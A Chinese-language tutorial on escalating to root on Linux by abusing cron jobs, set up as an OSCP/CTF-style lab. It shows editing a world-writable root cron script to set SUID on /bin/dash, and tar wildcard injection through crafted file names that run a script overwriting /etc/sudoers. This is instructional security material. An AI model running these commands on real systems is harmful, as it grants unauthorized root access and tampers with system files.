前言
在解决了几个OSCP挑战题之后,我们决定编写一篇关于用于Linux权限提升的各种方法的文章,这对我们的读者在他们的渗透测试项目中可能会有所帮助。在本文中,我们将学习“利用CronJobs进行权限提升”以获得远程主机的根访问权限,并且还将研究一种糟糕的cron job实现是如何导致权限提升的。如果你已经解决了CTF的Post Exploit挑战,那么通过阅读本文,你将学到导致权限提升的一些漏洞。
有关详细信息可以阅读我们之前的文章,在其中我们将本文的技巧用于权限提升。
链接1:黑盒挑战:欧罗巴漫游
链接2:Hacking Milnet VM(CTF挑战题)
CronJobs是什么?
CronJobs用于在服务器上通过特定日期和时间执行命令来调度任务,常用于系统管理员任务,如备份或清理/tmp/目录等。Cron这个词来自crontab,它在/etc目录下。
例如:在crontab中,我们可以通过一下命令,每隔1小时自动打印Apache错误日志。
1 0 * * * printf "" > /var/log/apache/error_log
Crontab文件覆盖
设置
目标:在crontab的帮助下设置一个新的cronjob来运行python脚本,该脚本将删除指定目录中的所有数据。
假设“清理”的是每隔两分钟自动清除数据的目录。因此,我们在/home/cleanup保存了一些数据。
mkdir cleanup
cd cleanup
echo "hello freinds" > 1.txt
echo "ALL files will be deleted in 2 mints" > 2.txt
echo "" > 1.php
echo "" > 2.php
ls
可以看到,有些文件存储在清理目录中。
现在,在任何其他目录中编写python脚本,删除 /home/cleanup中的数据,并授予所有权限。
cd /tmp
nano cleanup.py
#!/usr/bin/env python
import os
import sys
try:
os.system('rm -r /home/cleanup/* ')
except:
sys.exit()
chmod 777 cleanup.py
最后,在crontab的帮助下,每2分钟安排一个任务来运行Clearup.py。
nano /etc/crontab
*/2 * * * * root /tmp /cleanup.py
现在让我们验证一下:
cd /home/cleanup
ls
date
ls
很酷!所有文件在两分钟后都被删除了。
Post Exploitation
启动攻击机器,首先登陆到目标系统,然后进入提权阶段。假设我成功地通过ssh登录到受害者的机器,并访问非根用户终端。执行如下所示的命令。
cat /etc/crontab
ls -al /tmp/cleanup.py
cat /tmp/cleanup.py
从上面的步骤中,我们注意到crontab每两分钟运行python脚本一次,现在让我们利用它。
获得根访问的方法很多,在这个方法中,我们启用了 SUID bits/bin/dash。这非常简单,首先,通过一些编辑器打开文件,例如nanocleanup.py,并从下面的一行替换为“rm-r/tmp/*”,如下所示:
os.system('chmod u+s /bin/dash')
两分钟后,它将为/bin/dash设置SUID权限,运行时,它将授予根访问权限。
/bin/dash
id
whoami
很好,我们目的达到了…
Crontab Tar通配符注入
设置
目的:利用crontab对HTML目录下的tar文件程序进行备份,目录应该具有可执行权限,你将对其进行备份。
现在,在crontab的帮助下安排一项任务,运行tar备份程序,在每1分钟内备份/var/backups/html的文件。
nano /etc/crontab
*/1 * * * * root tar -zcf /var/backups/html.tgz /var/www/html/*
通过执行以下命令来验证是否有效。
cd /var/backup
ls
date
如下图可以看到到1分钟后html.tgz文件已经生成。
Post Exploitation
启动攻击机器,首先登陆到目标系统,然后进入提权阶段。假设我成功地通过ssh登录到受害者的机器,并访问非根用户终端。然后打开crontab,查看是否安排了任何任务。
cat /etc/crontab
在这里,我们注意到目标每1分钟就安排一个tar备份程序,我们知道cronjob以root身份运行。让我们试着利用。
执行以下命令将sudo权限授予记录的用户,随后的利用漏洞攻击称为通配符注入(wildcard injection)。
echo 'echo "ignite ALL=(root) NOPASSWD: ALL" > /etc/sudoers' >test.sh
echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1
tar cf archive.tar *
1分钟后它将授予用户sudo权限,通过下图命令验证:
sudo -l
sudo bash
whoami
审核人:yiwang 编辑:边边